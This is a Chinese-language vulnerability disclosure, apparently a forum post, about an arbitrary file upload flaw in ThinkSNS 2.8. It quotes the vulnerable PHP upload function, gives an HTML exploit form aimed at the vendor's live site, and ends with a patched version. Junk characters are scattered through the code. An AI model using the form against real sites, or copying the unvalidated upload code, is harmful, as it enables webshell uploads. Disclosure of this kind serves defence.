ThinkSNS 2.8任意文件上传漏洞及修复

admin

  微博上传图片时只在前端进行验证, 服务器端没有进行安全过滤。

3 k! i: O' K9 ?; D$ n
( n5 Z& n- F0 L\api\StatusesApi.class.php

function uploadpic(){
8 y5 b1 m% s% F8 Y! t# A; Z      if( $_FILES['pic'] ){
     //执行上传操作
5 o9 q- ^5 M% g9 \* M  {5 B     $savePath =  $this->_getSaveTempPath();
     $filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);
0 z0 ?2 f5 ]: d/ @. l    if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename))
: m0 ^. y; ?& ~. E8 {       {
        $result['boolen']    = 1;
        $result['type_data'] = 'temp/'.$filename;
# S4 C- O  I5 O        $result['picurl']    = SITE_PATH.'/uploads/temp/'.$filename;
       } else {
        $result['boolen']    = 0;
        $result['message']   = '上传失败';
  z; b& C$ s7 v5 g7 K1 A( j/ F2 v3 Q       }
     }else{
; C8 l5 t6 W7 h: ]- ?/ ~         $result['boolen']    = 0;
' A0 x( E3 ^% K9 a$ u/ |         $result['message']   = '上传失败';
     }
/ K" g- V- L+ {return $result;
: _4 B" ~$ a2 m4 F5 s* `    }
) V& t, l! M! U' b+ s( Kunloadpic()方法没有对文件类型进行验证
$ f) `5 P8 X- I- X
可以构建表单, 选择任意文件, 提交到
0 x* j8 d5 Z1 i- Q5 @/index.php?app=w3g&mod=Index&act=doPost
+ n! }* d" U$ }' S! ]. R" s! [
' L3 ?- A3 I7 h  j% y; B  V在新提交的微博上可以找到上传的文件地址(去掉small_、middle_ 前缀)

  l0 d. H1 _2 G, F( L
在登录thinksns官方微博后,
构建以下表单:

2 e- Q( O3 N/ N3 C+ P2 I7 _0 y# l- P<form action="http://t.thinksns.com/index.php?app=w3g&mod=Index&act=doPost" method="post" enctype="multipart/form-data" />
' V/ |" l) \' x8 [<textarea name="content">test</textarea>
* o+ k: a$ y) o+ Efile: <input id="file" type="file" name="pic" />
<input type="submit" value="Post" />
</form>
去掉缩略图的前缀(small_ )
, |* Z, M" ^( C1 c  g$ n- `​修复方案：

4 k) ]3 c. s( z
- W( Y9 e. ~1 t\api\StatusesApi.class.php
: F' l1 b+ B; `/ [9 j0 e
7 H/ [- {9 B7 A5 w+ @function uploadpic(){
9 y& G5 G9 L) D: u0 L  [& n     /**
      * 20121018 @yelo
8 P7 G' A6 @+ S& C# i( z, v7 w      * 增加上传类型验证
0 d$ |/ w3 `9 L, P  g3 V; K      */
4 I( I) f3 u( p% ^+ K: ^     $pathinfo = pathinfo($_FILES['pic']['name']);
     $ext = $pathinfo['extension'];
. d+ `( F) Z4 Q $allowExts = array('jpg', 'png', 'gif', 'jpeg');

     $uploadCondition = $_FILES['pic'] && in_array(strtolower($ext),$allowExts,true);

0 J  ?% D) W1 ]8 O     if( $uploadCondition ){
     //执行上传操作
! K2 Y3 |) s# b9 ]     $savePath =  $this->_getSaveTempPath();
, z) U) Z& [1 z0 y$ G     $filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);
    if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename))
! L4 E- t$ O- j! {2 O$ W- N1 p       {
: S8 M: w( d! D0 b2 ~& n1 z        $result['boolen']    = 1;
        $result['type_data'] = 'temp/'.$filename;
        $result['picurl']    = SITE_PATH.'/uploads/temp/'.$filename;
       } else {
' `. A  H; D, {. q1 d        $result['boolen']    = 0;
4 k4 @) D, M& f  Y9 Z6 Z' x        $result['message']   = '上传失败';
6 x8 G* G$ b& a9 Z       }
     }else{
* C9 }/ t! W8 d9 s+ l$ ]/ l$ ?         $result['boolen']    = 0;
         $result['message']   = '上传失败';
+ l7 J0 d& H) `( M! k0 v" N     }
return $result;
    }
, n1 b6 r% r5 G* {+ G( A0 J​